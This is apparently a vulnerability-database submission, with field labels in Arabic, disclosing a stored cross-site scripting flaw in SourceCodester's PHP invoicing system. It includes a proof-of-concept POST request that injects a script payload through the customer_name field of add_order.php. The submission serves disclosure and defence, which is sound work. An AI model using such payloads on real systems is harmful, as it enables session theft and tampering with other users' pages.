| عنوان | SourceCodester Invoicing System In PHP 1.0 Stored XSS |
|---|
| الوصف | Invoice templates render database-backed values directly into HTML without output encoding. If an attacker can inject malicious content into customer, seller, or related invoice fields, the payload will execute when the invoice page is viewed.
Proof of Concept (PoC):
Below is a POST request demonstrating the vulnerability using a Stored XSS payload injected into an invoice field:
POST /InvoicingSystem_PHP/Invoicing/add_order.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_session>
customer_name=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&seller_name=test&amount=100
|
|---|
| المصدر | ⚠️ https://gist.github.com/c4ttr4ck/97c5babe1f16fa3243333528a40b7550 |
|---|
| المستخدم | c4ttr4ck (UID 75518) |
|---|
| ارسال | 26/04/2026 11:28 PM (1 شهر منذ) |
|---|
| الاعتدال | 24/05/2026 08:38 AM (27 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 365395 [SourceCodester Indian Invoicing System حتى 0.x/1.0 Invoice Template Render Database-Backed /Invoicing/add_order.php customer_name البرمجة عبر المواقع] |
|---|
| النقاط | 20 |
|---|